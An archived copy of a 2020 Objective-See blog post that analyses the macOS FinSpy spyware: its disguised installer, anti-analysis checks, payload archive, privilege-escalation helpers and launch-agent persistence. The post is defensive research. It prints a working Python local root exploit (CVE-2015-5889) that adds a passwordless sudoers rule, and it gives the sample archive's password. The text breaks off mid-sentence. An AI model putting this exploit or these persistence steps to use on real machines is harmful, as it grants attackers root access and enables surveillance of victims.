{
	"id": "bd92c573-8b8e-4d85-8d3a-0905cec365e9",
	"created_at": "2026-04-06T00:16:36.129172Z",
	"updated_at": "2026-04-10T03:30:33.629733Z",
	"deleted_at": null,
	"sha1_hash": "1bb09b49bf1bc6e1a6456623e1180b9fde145299",
	"title": "FinFisher Filleted ??????",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4301145,
	"plain_text": "FinFisher Filleted 🐟\r\nArchived: 2026-04-05 21:14:04 UTC\r\nFinFisher Filleted 🐟\r\na triage of the FinSpy (macOS) malware\r\nby: Patrick Wardle / September 26, 2020\r\nLove these blog posts and/or want to support my research and tools? You can support them via my Patreon page!\r\n📝 👾 Want to play along?\r\nI’ve added the samples (OSX.FinSpy) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nRecently, Claudio Guarnieri highlighted some intriguing new research published by his research lab at Amnesty\r\nInternational:\r\nSometimes threat intel is hard, sometimes folks leave all FinFisher samples exposed on a webserver. So\r\nhere ya go, along with recent Windows and Android, we're publishing details on new FinFisher for Mac\r\nOS 🍎 and Linux 🐧.https://t.co/eakdBWcYbF\r\n— nex (@botherder@mastodon.social) (@botherder) September 25, 2020\r\nTitled, “German-made FinSpy spyware found in Egypt, and Mac and Linux versions revealed,” this writeup\r\ndetailed FinFisher’s spyware suite (FinSpy), including “previously undisclosed versions for Linux and MacOS\r\ncomputers”!\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 1 of 30\n\nAs noted in their report:\r\n\"FinSpy is a commercial spyware suite produced by the Munich-based company FinFisher Gmbh.\r\nSince 2011 researchers have documented numerous cases of targeting of Human Rights Defenders\r\n(HRDs) - including activists, journalists, and dissidents with the use of FinSpy in many countries,\r\nincluding Bahrain, Ethiopia, UAE, and more.\"\r\nIn this blog post, we provide a hands-on triage of the macOS variant of FinSpy. We build upon Amnesty\r\nInternational’s (great) research, as well as cover new components of the malware, such as it’s kernelmode rootkit\r\ncomponent.\r\nFinSpy, for macOS\r\nAmnesty’s writeup notes the discovery of a related sample caglayan-macos.dmg ( SHA1:\r\n59180391de409c83bef642ad1bca2999ab5fe328 ) that was “found on Virus Total”. Our triage will focus on this\r\nsample, as within the disk image ( .dmg ) is an application bundle, which appears be a full, self-contained instance\r\nof FinSpy.\r\nTo start, we mount the disk image via the hdiutil command:\r\n$ hdiutil attach ~/Downloads/FinFisher/caglayan-macos.dmg\r\n/dev/disk2 GUID_partition_scheme\r\n/dev/disk2s1 Apple_HFS /Volumes/caglayan-macos\r\nIf we examine the (now) mounted disk image ( /Volumes/caglayan-macos ), we see it contains a single item: an\r\napplication bundle named Install Çağlayan :\r\n/Volumes/caglayan-macos/Install Çağlayan.app\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 2 of 30\n\nRather unsurprisingly, WhatsYourSign shows that this application is unsigned:\r\nInstall Çağlayan.app ...unsigned\r\nWe can also confirm the application is unsigned via macOS’s built-in codesign utility:\r\n$ codesign -dvvv /Volumes/caglayan-macos/Install\\ Çağlayan.app\r\n/Volumes/caglayan-macos/Install Çağlayan.app: code object is not signed at all\r\nLet’s take a peek at the Install Çağlayan.app bundle.\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 3 of 30\n\n…definitely some “strangeness” going on 🤨:\r\nWhen analyzing a (malicious) application bundle, the application’s Info.plist file is a good place to start. To\r\nquote the “Art Of Mac Malware”:\r\n“When an application is launched, the system consults the Info.plist property list file, as it contains\r\nessential (meta)data about the application. Property list files contain key-value pairs.\r\nPairs that may be of interest when analyzing an application include:\r\nCFBundleExecutable\r\nContains the name of the application’s binary (found in Contents/MacOS ).\r\nCFBundleIdentifier\r\nContains the application’s bundle identifier (often used by the system to globally identify the\r\napplication).\r\nLSMinimumSystemVersion\r\nContains the oldest version of macOS that the application is compatible with.”\r\nHere’s the Install Çağlayan application’s Info.plist :\r\n$ cat \"/Volumes/caglayan-macos/Install Çağlayan.app/Contents/Info.plist\"\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\r\n\u003cplist version=\"1.0\"\u003e\r\n \u003cdict\u003e\r\n \u003ckey\u003eBuildMachineOSBuild\u003c/key\u003e\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 4 of 30\n\n12F45CFBundleAllowMixedLocalizationsCFBundleDevelopmentRegionEnglishCFBundleExecutableInstall ÇağlayanCFBundleIconFileNativeInstaller.icnsCFBundleIdentifiercom.coverpage.bluedome.caglayan.desktop.installerCFBundleInfoDictionaryVersion6.0CFBundlePackageTypeAPPLCFBundleShortVersionString2.0DTCompilercom.apple.compilers.llvm.clang.1_0DTPlatformBuild4H1503DTPlatformVersionGMDTSDKBuild10K549DTSDKNamemacosx10.6DTXcode0463DTXcodeBuild4H1503LSMinimumSystemVersion10.6NSHumanReadableCopyrightNSMainNibFileMainMenuNSPrincipalClassNSApplication The value for the CFBundleExecutable key is Install Çağlayan . Meaning the item Install\nÇağlayan.app/Contents/MacOS/Install Çağlayan will be executed when the application is launched (by a\nvictim). As such, we’ll continue our analysis there.\nVarious key-value pairs provide insight into the ‘age’ of the malware, and malware author’s (build) machine.\nhttps://objective-see.com/blog/blog_0x4F.html\nPage 5 of 30\n\nBuildMachineOSBuild -\u003e 12F45 (Mountain Lion 10.8.5)\r\nDTXcode -\u003e 0463 (Xcode Version 4.6.3)\r\n…yes, rather old!\r\nSomewhat interestingly, the Install Çağlayan.app/Contents/MacOS/Install Çağlayan file turns out to be a\r\nbash script.\r\n$ file \"Install Çağlayan.app/Contents/MacOS/Install Çağlayan\"\r\nInstall Çağlayan.app/Contents/MacOS/Install Çağlayan:\r\n Bourne-Again shell script text executable, UTF-8 Unicode text\r\nLet’s take a look at this script:\r\n 1#!/bin/bash\r\n 2BASEDIR=\"$( cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\r\n 3cd \"$BASEDIR\"\r\n 4open .log/ARA0848.app\r\n 5sleep 2\r\n 6rm Install\\ Çağlayan\r\n 7mv installer Install\\ Çağlayan\r\n 8rm -rf .log\r\n 9./Install\\ Çağlayan\r\n10exit\r\nAfter changing in to the script’s directory ( cd ), it executes an application ( ARA0848.app ) from a hidden .log/\r\ndirectory. It then replaces itself ( Install Çağlayan ) with a item named installer . This item ( installer →\r\nInstall Çağlayan ) is then executed.\r\nThis can be observed via our Process Monitor:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \r\n \"arguments\" : [\r\n \"/bin/bash\",\r\n \"/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/Install Çağlayan\"\r\n ],\r\n \r\n \"path\" : \"/bin/bash\"\r\n ...\r\n }\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 6 of 30\n\n},\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"open\",\r\n \".log/ARA0848.app\"\r\n ],\r\n \"path\" : \"/usr/bin/open\"\r\n ...\r\n }\r\n},\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/\r\n .log/ARA0848.app/Contents/MacOS/installer\"\r\n ],\r\n \"path\" : \"/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/\r\n .log/ARA0848.app/Contents/MacOS/installer\"\r\n ...\r\n }\r\n},\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"mv\",\r\n \"installer\",\r\n \"Install Çağlayan\"\r\n ],\r\n \"path\" : \"/bin/mv\"\r\n ...\r\n }\r\n},\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \"arguments\" : [\r\n \"./Install Çağlayan\"\r\n ],\r\n \"path\" : \"/Volumes/caglayan-macos/Install Çağlayan.app/\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 7 of 30\n\nContents/MacOS/Install Çağlayan\"\r\n ...\r\n }\r\n}\r\nThe installer file is a Mach-O binary, signed with an Apple Developer ID ( CoverPage s.r.o.\r\n(4F89KD52V4) ):\r\n$ file \"Install Çağlayan.app/Contents/MacOS/installer\"\r\nInstall Çağlayan.app/Contents/MacOS/installer: Mach-O 64-bit executable x86_64\r\n$ codesign -dvvv \"Install Çağlayan.app/Contents/MacOS/installer\"\r\nExecutable=/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/installer\r\nIdentifier=com.coverpage.bluedome.caglayan.desktop.installer\r\nFormat=Mach-O thin (x86_64)\r\n...\r\nAuthority=Developer ID Application: CoverPage s.r.o. (4F89KD52V4)\r\nAuthority=Developer ID Certification Authority\r\nAuthority=Apple Root CA\r\nTimestamp=May 30, 2017 at 11:55:46 PM\r\n…a brief triage indicates this binary is not malicious (perhaps it is a legitimate downloader?). This makes sense, as\r\na victim launching the (malicious) application, expects something (non-malicious) to visually happen …otherwise\r\nthey may become suspicious!\r\nIn this case, (once installer has been renamed to Install Çağlayan …and launched), it attempts to install a\r\nlegitimate version or Adobe Air …likely needed for the legitimate Çağlayan application to run:\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 8 of 30\n\nSince this appears benign, lets turn our attention to .log/ARA0848.app …which turns out to be the backdoor\r\ninstaller/launcher.\r\nARA0848.app is another unsigned application (recall, that was launched via the Install Çağlayan bash script):\r\nWhen executed, it will launch its application binary ARA0848.app/Contents/MacOS/installer . This (Mach-O)\r\nbinary is also unsigned:\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 9 of 30\n\n$ file \"Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer\"\r\nInstall Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer: Mach-O 64-bit executa\r\n$ codesign -dvvv \"Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer\"\r\n/Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installe\r\n$ shasum \"Install Çağlayan.app/Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer\"\r\n2584f1119c65ffd0936e2916b285389404b942c9 /Volumes/caglayan-macos/Install Çağlayan.app/Contents/MacO\r\n…and its detection, is currently rather limited:\r\nAmnesty’s writeup provided a thorough overview of the actions/capabilities of this binary. As such, much of the\r\ninformation in this section was originally reported in their writeup.\r\n…although here, we dig a little deeper, and build upon it.\r\nWhen examining an unknown Mach-O binary, I like to start with the strings command, which (as its name\r\nimplies) will dump embedded (ASCII) strings. Often this provides valuable insight into the capabilities of the\r\nbinary!\r\n$ strings - ARA0848.app/Contents/MacOS/installer\r\nptrace\r\nhw.model\r\nvmware\r\nvirtualbox\r\nparallels\r\nsystem_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmware|virtualbox)\"\r\n/usr/bin/python\r\nhelper2\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 10 of 30\n\nsystem.privilege.admin\r\n/bin/launchctl\r\nload\r\nunload\r\n/sbin/kextunload\r\nhelper\r\ninstaller\r\nlogind\r\n/tmp\r\n80.bundle.zip\r\narch.zip\r\norg.logind.ctp.archive\r\n80.bundle\r\nlogind.kext\r\nlogind.plist\r\n/Library/LaunchAgents\r\nInteresting! Appears we have strings related to:\r\nanti-debugging? ( \"ptrace\" )\r\nvirtual machine detection? ( \"Manufacturer: (parallels|vmware|virtualbox)\" )\r\npython scripts? ( \"/usr/bin/python\" , \"helper2\" )\r\nlaunch agent persistence? ( \"/bin/launchctl\" , \"/Library/LaunchAgents\" , \"logind.plist\" )\r\nkernel extension (rootkit)? ( \"logind.kext\" )\r\nAs the binary is written in Objective-C, we can use the class-dump tool to extract embedded (Objective-C)\r\nclasses:\r\n$ class-dump \"ARA0848.app/Contents/MacOS/installer\"\r\n__attribute__((visibility(\"hidden\")))\r\n@interface appAppDelegate : NSObject\r\n{\r\n}\r\n- (BOOL)askUserPermission:(id)arg1;\r\n- (BOOL)isAfterPatch;\r\n- (void)removeTraces;\r\n- (void)launchOldStyle;\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 11 of 30\n\n- (BOOL)launchNewStyle;\r\n- (BOOL)installPayload;\r\n- (void)executeTrampoline;\r\n- (void)expandPayload;\r\n- (void)removeOldResource;\r\n- (void)applicationDidFinishLaunching:(id)arg1;\r\n@end\r\n__attribute__((visibility(\"hidden\")))\r\n@interface GIFileOps : NSObject\r\n{\r\n}\r\n+ (void)unloadKext;\r\n+ (BOOL)unloadAgent:(id)arg1;\r\n+ (BOOL)loadAgent:(id)arg1;\r\n+ (BOOL)setFile:(id)arg1 withAttributes:(id)arg2;\r\n+ (BOOL)setDataFileAttributes:(id)arg1;\r\n+ (BOOL)setExecutableFileAttributes:(id)arg1;\r\n+ (BOOL)setDirectoryAttributes:(id)arg1;\r\n+ (id)baseAttributes;\r\n+ (BOOL)setStandardAttributes:(id)arg1;\r\n+ (BOOL)setSuid:(id)arg1;\r\n+ (BOOL)rename:(id)arg1 to:(id)arg2;\r\n+ (BOOL)remove:(id)arg1;\r\n+ (BOOL)move:(id)arg1 to:(id)arg2;\r\n+ (BOOL)createDirectory:(id)arg1 shouldDelete:(BOOL)arg2;\r\n+ (BOOL)copy:(id)arg1 to:(id)arg2;\r\n+ (BOOL)unzip:(id)arg1 to:(id)arg2;\r\n@end\r\n__attribute__((visibility(\"hidden\")))\r\n@interface GIPath : NSObject\r\n{\r\n}\r\n+ (id)masterKeyDirSource;\r\n+ (id)masterKeyDirTarget;\r\n+ (id)supervisorTarget;\r\n+ (id)supervisorSource;\r\n+ (id)supervisorName;\r\n+ (id)agentTarget;\r\n+ (id)agentSource;\r\n+ (id)agentName;\r\n+ (id)coreTarget;\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 12 of 30\n\n+ (id)coreSource;\r\n+ (id)coreName;\r\n+ (id)kextTarget;\r\n+ (id)kextSource;\r\n+ (id)kextName;\r\n+ (id)expandedMainBundle;\r\n+ (id)expandedPayload;\r\n+ (id)compressedPayload;\r\n+ (id)updatePackage;\r\n+ (id)payload;\r\n+ (id)installer;\r\n+ (id)trampoline;\r\n+ (id)systemTemp;\r\n+ (id)installationMap;\r\n+ (id)executables;\r\n@end\r\n...\r\nAlthough there aren’t a ton of classes, we definitely have extracted some interesting method names\r\n( \"installPayload\" , \"loadAgent:\" , \"kextTarget\" , etc), which we can analyze in a disassembler, or set\r\nbreakpoints in a debugger.\r\nSpeaking of, time to disassemble and debug!\r\nThe malware’s main method begins at 0x000000010000174f . Scrolling thru the disassembly, it appears that the\r\nmalware employs some static obfuscation:\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 13 of 30\n\nIn their writeup, the Amnesty researchers shed more light on this:\r\n\"the [malware] developers took measures to complicate its analysis. All the binaries are obfuscated with\r\nthe open source LLVM-obfuscator developed by a research team in 2013.\"\r\nGood news, this obfuscation doesn’t really hinder analysis. One can simply scroll past it in a disassembler, or in a\r\ndebugger set breakpoints on relevant (non-obfuscated) code.\r\nAt the start of the malware’s main function, it executes various anti-analysis logic including:\r\ninvoking a function named deny_ptrace to prevent debugging via ptrace ( PT_DENY_ATTACH ).\r\na call to _sysctl perhaps to check for the P_TRACED flag.\r\nvirtual machine detection via the enumeration of the system model named, via sysctlbyname(\"hw.model\"\r\n...) and via system_profiler SPUSBDataType | egrep -i \\\"Manufacturer:\r\n(parallels|vmware|virtualbox) .\r\nOnce identified, this anti-analysis logic is trivial to bypass in a debugger. How? Simply set a breakpoint(s), then\r\nmodify the instruction pointer ( RIP ) to skip over them:\r\nIn the writeup, the Amnesty researchers note that the malware will decrypt an encrypted archive:\r\n\"...it then decrypts ...a Zip archive. This archive contains the installer, the main cyload, but also binaries\r\nfor privilege escalation\"\r\n…oh, we definitely want all that!\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 14 of 30\n\nAt address 0x100003106 (within a method named expandPayload ), the malware invokes a method from the\r\nGIFileOps named unzip:to: . Let’s set a debugger breakpoint there:\r\n(lldb) b 0x0000000100003106\r\nBreakpoint 5: address = 0x0000000100003106\r\nWhen this breakpoint is hit, we can examine the arguments:\r\n(lldb) Process 1486 stopped\r\n* thread #1, queue = 'com.apple.main-thread'\r\n stop reason = breakpoint 5.1:\r\n-\u003e 0x100003106 \u003c+1501\u003e: callq *%r12\r\n 0x100003109 \u003c+1504\u003e: movq %r13, %rdi\r\n 0x10000310c \u003c+1507\u003e: callq *0x2cf7e(%rip)\r\n 0x100003112 \u003c+1513\u003e: movq %r15, %rdi\r\n(lldb) x/s $rsi\r\n0x10002bc9c: \"unzip:to:\"\r\n(lldb) po $rdx\r\n/Users/user/Library/Caches/arch.zip\r\n(lldb) po $rcx\r\n/Users/user/Library/Caches\r\nLooks like it will unzip a file named arch.zip into the user’s /Library/Caches directory.\r\nIf we then step over this method call (via the si debugger command), our File Monitor picks up the file events\r\nrelated to the extraction of the ( arch.zip ) archive:\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter installer\r\nPassword:\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/Library/Caches/arch.zip\",\r\n \"process\" : {\r\n \r\n \"path\" : \"/Volumes/caglayan-macos/Install Çağlayan.app/\r\n Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer\",\r\n ...\r\n},\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"file\" : {\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 15 of 30\n\n\"destination\" : \"/Users/user/Library/Caches/org.logind.ctp.archive\",\r\n \"process\" : {\r\n \r\n \"path\" : \"/Volumes/caglayan-macos/Install Çağlayan.app/\r\n Contents/MacOS/.log/ARA0848.app/Contents/MacOS/installer\",\r\n ...\r\n}\r\n...\r\nHooray, the malware has (kindly) decrypted and unzipped the archive to\r\n~/Library/Caches/org.logind.ctp.archive . …and it is full of goodies:\r\nThe file command can identify each item’s file type:\r\n$ file *\r\nhelper: Mach-O 64-bit executable x86_64\r\nhelper2: Python script text executable, ASCII text\r\nhelper3: Mach-O executable i386\r\ninstaller: Mach-O 64-bit executable x86_64\r\nlogind: Mach-O 64-bit executable x86_64\r\nlogind.kext: directory\r\nlogind.plist: XML 1.0 document text, ASCII text\r\nstorage.framework: directory\r\nSeveral of these are described in the Amnesty writeup, however, others were not.\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 16 of 30\n\nhelper ( sha1: 72cb14bc737a9d77c040affa60521686ffa80b84 ):\r\nA Mach-O binary that exploits a local privilege escalation vulnerability (in macOS \u003c 10.9/10 ).\r\nExploit PoC code: https://www.exploit-db.com/exploits/36739.\r\nhelper2 ( sha1: 9a0ede8fad59e7252502881554be0c21972238c9 ):\r\nA python script that exploits CVE-2015-5889\r\n 1# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root\r\n 2# tested on osx 10.9.5 / 10.10.5\r\n 3# jul/2015\r\n 4# by rebel\r\n 5\r\n 6import os,time,sys\r\n 7\r\n 8from sys import argv\r\n 9script, param = argv\r\n10\r\n11env = {}\r\n12\r\n13s = os.stat(\"/etc/sudoers\").st_size\r\n14\r\n15env['MallocLogFile'] = '/etc/crontab'\r\n16env['MallocStackLogging'] = 'yes'\r\n17env['MallocStackLoggingDirectory'] = 'a\\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD:\r\n18 ALL\" \u003e\u003e /etc/sudoers\\n\\n\\n\\n\\n'\r\n19\r\n20#sys.stderr.write(\"creating /etc/crontab..\")\r\n21\r\n22p = os.fork()\r\n23if p == 0:\r\n24 os.close(1)\r\n25 os.close(2)\r\n26 os.execve(\"/usr/bin/rsh\",[\"rsh\",\"localhost\"],env)\r\n27\r\n28time.sleep(1)\r\n29\r\n30if \"NOPASSWD\" not in open(\"/etc/crontab\").read():\r\n31 sys.stderr.write(\"failed\\n\")\r\n32 sys.exit(-1)\r\n33\r\n34#sys.stderr.write(\"done\\nwaiting for /etc/sudoers to change (\u003c60 seconds)..\")\r\n35\r\n36while os.stat(\"/etc/sudoers\").st_size == s:\r\n37# sys.stderr.write(\".\")\r\n38 time.sleep(1)\r\n39\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 17 of 30\n\n40#sys.stderr.write(\"\\ndone\\n\")\r\n41\r\n42my_command = \"sudo chmod 06777 %s \u0026 sudo chown root:wheel %s\" % (param, param)\r\n43os.system(my_command)\r\nhelper3 ( sha1: 427a1c1daf9030069f0c771ce172c104513a7722 ):\r\nA Mach-O binary that exploits the tpwn local privilege escalation vulnerability (in macOS \u003c 10.10.5 ).\r\n$ strings -a helper3\r\n/mach_kernel\r\n/System/Library/Kernels/kernel\r\n/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily\r\nposix_cred_get\r\n_IORecursiveLockUnlock\r\n__ZN10IOWorkLoop8openGateEv\r\n__ZN13IOEventSource8openGateEv\r\nEscalating privileges! -qwertyoruiop\r\nExploit PoC code: https://github.com/kpwn/tpwn.\r\ninstaller ( sha1: a65965b960b3d322bbae467f51bf215d574b00cc ):\r\nThe malware installer (details below).\r\nlogind ( sha1: 62e5dc40bfabaa712cd9e32ac755384db07f0dab ):\r\nThe malware’s (persistent) launcher (details below).\r\nlogind.kext ( sha1: 18e1d03e41b5fc6d54fdda340fe2dab219502f3d ):\r\nThe malware’s rootkit (details below).\r\nlogind.plist ( sha1: a2aba86d5d763f311dff8250bc8fe98de958bff4 ):\r\nThe malware’s launch agent property list (for persistence):\r\n$ cat org.logind.ctp.archive/logind.plist\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1\r\n\u003cplist version=\"1.0\"\u003e\r\n\u003cdict\u003e\r\n \u003ckey\u003eLabel\u003c/key\u003e\r\n \u003cstring\u003eorg.logind\u003c/string\u003e\r\n \u003ckey\u003eProgramArguments\u003c/key\u003e\r\n \u003carray\u003e\r\n \u003cstring\u003e/private/etc/logind\u003c/string\u003e\r\n \u003c/array\u003e\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 18 of 30\n\nRunAtLoadKeepAliveSuccessfulExit Let’s take a closer look at several of these.\nFirst, the malware performs various actions requiring root privileges …which is where the local privilege\nescalation vulnerabilities ( helper* ) come into play. If the exploits fail (which they will on any recent version of\nmacOS), the malware falls back to a less sophisticated approach:\n\"This first stage uses the exploits to get root access. If none of them work, it will ask the user to grant\nroot permissions to launch the next stage installer.\" -Amnesty International\nAnd what does it do with these root privileges? Sets the “next stage” to be owned by root (via chown\nroot:wheel ) with the setuid bit set (via chmod 06777 ):\n$ ls -lart /Users/user/Library/Caches/org.logind.ctp.archive/installer\n-rwsrwsrwx 1 root wheel 63396 Feb 16 2018 /Users/user/Library/Caches/org.logind.ctp.archive/insta\nhttps://objective-see.com/blog/blog_0x4F.html\nPage 19 of 30\n\nAs noted in Pedro’s (@osxreverser) writeup, “The Finfisher Tales, Chapter 1: The dropper” this (next stage)\r\ninstaller is then launched via method named installPayload :\r\n 1// @class appAppDelegate\r\n 2-(char)installPayload {\r\n 3 ...\r\n 4 r14 = [[NSTask alloc] init];\r\n 5 rbx = [[GIPath installer] retain];\r\n 6 [r14 setLaunchPath:rbx];\r\n 7\r\n 8 [r14 launch];\r\n 9 [r14 waitUntilExit];\r\n10 ...\r\n11}\r\nThis method simply invokes the NSTask API to launch the (next-stage) installer. In a debugger session, we can\r\nobserve the (launch) path to the “next stage” installer is\r\n/Users/user/Library/Caches/org.logind.ctp.archive/installer :\r\n% lldb .log/ARA0848.app/Contents/MacOS/installer\r\n...\r\n* thread #1, queue = 'com.apple.main-thread'\r\n-[appAppDelegate installPayload] + 0x100\r\n-\u003e 0x1000035e5 \u003c+100\u003e: callq *0x2ca9d(%rip)\r\n 0x1000035eb \u003c+106\u003e: movq %rbx, %rdi\r\n 0x1000035ee \u003c+109\u003e: callq *0x2ca9c(%rip)\r\n 0x1000035f4 \u003c+115\u003e: movq 0x2def5(%rip), %rsi\r\nTarget 0: (installer) stopped.\r\n(lldb) po $rdi\r\n\u003cNSConcreteTask: 0x10024ff30\u003e\r\n(lldb) x/s $rsi\r\n0x7fff720e9b0e: \"setLaunchPath:\"\r\n(lldb) po $rdx\r\n/Users/user/Library/Caches/org.logind.ctp.archive/installer\r\nThis launching of this installer, can also be passively observed via our Process Monitor:\r\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 20 of 30\n\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n \r\n \"path\" : \"/Users/user/Library/Caches/org.logind.ctp.archive/installer\",\r\n \"pid\" : 1610\r\n \"ppid\" : 1486,\r\n }\r\n}\r\n…noting that the parent of the org.logind.ctp.archive/installer process ( \"ppid\":1486 ), is indeed\r\n.log/ARA0848.app/Contents/MacOS/installer :\r\nDue its owner (root) and the setuid bit, this “next stage” installer will run with root privileges.\r\nNext Stage Installer ( org.logind.ctp.archive/installer )\r\nAs noted in the Amnesty writeup, this installer performs three actions:\r\n1. Copies plugins and config files to /Library/Frameworks/Storage.framework .\r\n2. Copies the launcher ( logind ) to /private/etc/logind .\r\n3. Persists the launcher, by creating a launch agent plist: /System/Library/LaunchAgents/logind.pslist .\r\nLet’s take a closer look at it now, to highlight the code responsible for these actions.\r\nThe org.logind.ctp.archive/installer is a Mach-O binary, rather similar (albeit simpler) than its parent\r\n( .log/ARA0848.app/Contents/MacOS/installer ).\r\nFor example, both contain a custom GIFileOps class that implements various file related methods ( copy: to: ,\r\nloadAgent , etc.).\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 21 of 30\n\nMoreover, we find the llvm -level obfuscations again:\r\nThis (next stage) installer’s main method starts at 0x000000010a3d95ac . The logic the the main function first\r\nchecks for the presence of various files (plugins?), such as /Library/Frameworks/Storage.framework ,\r\n/Contents/Resources/7f.bundle/Contents/Resources/AAC.dat . It then builds a dictionary of key-value pairs via\r\na call to [GIPath installationMap] :\r\n$ lldb org.logind.ctp.archive/installer\r\n...\r\n* thread #1, queue = 'com.apple.main-thread'\r\ninstaller`main:\r\n-\u003e 0x10a3da37e \u003c+3538\u003e: callq *0x6d04(%rip) ;objc_msgSend\r\n(lldb) x/s $rsi\r\n0x10a3df5c7: \"installationMap\"\r\n(lldb) ni\r\n(lldb) po $rax\r\n{\r\n \"/Users/user/Library/Caches/org.logind.ctp.archive/Storage.framework\"\r\n → \"/Library/Frameworks/Storage.framework\";\r\n \"/Users/user/Library/Caches/org.logind.ctp.archive/logind\"\r\n → \"/private/etc/logind\";\r\n \"/Users/user/Library/Caches/org.logind.ctp.archive/logind.kext\"\r\n → \"/System/Library/Extensions/logind.kext\";\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 22 of 30\n\n\"/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist\"\r\n → \"/Library/LaunchAgents/logind.plist\";\r\n}\r\nAs we can see in the debugger output, this maps files from the decrypted uncompressed archive\r\n( org.logind.ctp.archive ) to their final destinations. The installer then iterates over each of these files, and via a\r\nblock (at 0x000000010a3da4d2 ) moves them from the archive to their (final) destinations:\r\n1files = [GIPath installationMap];\r\n2[files enumerateKeysAndObjectsUsingBlock:(void (^)(KeyType src, ObjectType dest, BOOL *stop))\r\n3{\r\n4\r\n5 [GIFileOps move:src to:dest];\r\n6 [GIFileOps setStandardAttributes:dest];\r\n7\r\n8}];\r\nWe can passively observe this via our File Monitor:\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter installer\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\",\r\n \"file\" : {\r\n \"destination\" : \"/Library/LaunchAgents/logind.plist\",\r\n \"source\" : \"/Users/user/Library/Caches/org.logind.ctp.archive/logind.plist\"\r\n }\r\n}\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\",\r\n \"file\" : {\r\n \"destination\" : \"/private/etc/logind\",\r\n \"source\" : \"/Users/user/Library/Caches/org.logind.ctp.archive/logind\"\r\n }\r\n}\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\",\r\n \"file\" : {\r\n \"destination\" : \"/System/Library/Extensions/logind.kext\",\r\n \"source\" : \"/Users/user/Library/Caches/org.logind.ctp.archive/logind.kext\"\r\n }\r\n}\r\nhttps://objective-see.com/blog/blog_0x4F.html\r\nPage 23 of 30\n\n{\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\",\n \"file\" : {\n \"destination\" : \"/Library/Frameworks/Storage.framework\",\n \"source\" : \"/Users/user/Library/Caches/org.logind.ctp.archive/storage.framework\"\n }\n}\nOf course (and stop me if you’ve heard this before), the creation of a persistence launch agent\n( /Library/LaunchAgents/logind.plist ) is detected by BlockBlock:\nAnd speaking of the logind.plist let’s take a look at 